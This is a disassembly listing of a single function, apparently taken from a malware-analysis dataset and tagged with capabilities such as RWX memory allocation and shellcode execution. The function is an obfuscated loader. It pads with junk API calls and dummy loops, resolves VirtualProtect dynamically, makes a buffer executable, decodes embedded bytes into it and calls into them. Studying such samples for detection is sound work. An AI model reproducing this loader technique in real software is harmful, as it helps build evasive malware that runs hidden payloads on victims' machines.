Function at 0x401a93
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size

Disassembly:
mov eax, 0x43322a
call fcn.00432ff0
sub esp, 0x4dc
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x207142
jg 0x401ac1
inc edi
cmp edi, 0x67d12
jl 0x401aaa
cmp dword [0x2087894], 0x93
jne 0x401b82
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push str.xililuhelefaxuyajojajotuzuza
lea ecx, [ebp - 0x40]
call fcn.00401e29
push esi
push esi
mov dword [ebp - 4], esi
call fcn.00404758
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.0040407d
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004040d9
lea eax, [ebp - 0xe8]
push eax
call fcn.0040212b
lea ecx, [ebp - 0x88]
call fcn.004021c7
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.004031ed
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004028fc
mov eax, dword [0x43a888]
add dword [0x2087894], 0x1134b
push str.kernel32.dll
mov dword [0x20886d0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x2087324], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2087894]
mov dword [0x2087318], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2087894]
mov dword [0x2087320], eax
push eax
call dword [0x2087318]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401be1
cmp dword [0x2087894], esi
jbe 0x401c5f
mov eax, dword [0x20886d0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2087320]
mov byte [ecx + edi], al
cmp dword [0x2087894], 0x490
jne 0x401c56
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2087894]
jb 0x401c07
xor edi, edi
mov eax, dword [0x2087894]
add eax, edi
cmp eax, 0x8d
jne 0x401c8e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
inc edi
cmp edi, 0x38681
jl 0x401c61
mov eax, dword [0x2087894]
mov ecx, dword [0x2087320]
shr eax, 3
cmp eax, esi
jbe 0x401ccb
mov edi, ecx
mov ebx, eax
cmp dword [0x2087894], 0x959
jne 0x401cbf
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
call fcn.00401670
add edi, 8
dec ebx
jne 0x401cad
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x401cec
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2087320], eax
inc edi
cmp edi, 0x674bd
jl 0x401ccd
push 0x7b
pop edi
cmp dword [0x2087894], 0x86
jne 0x401d25
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x401cf8
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2087320]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret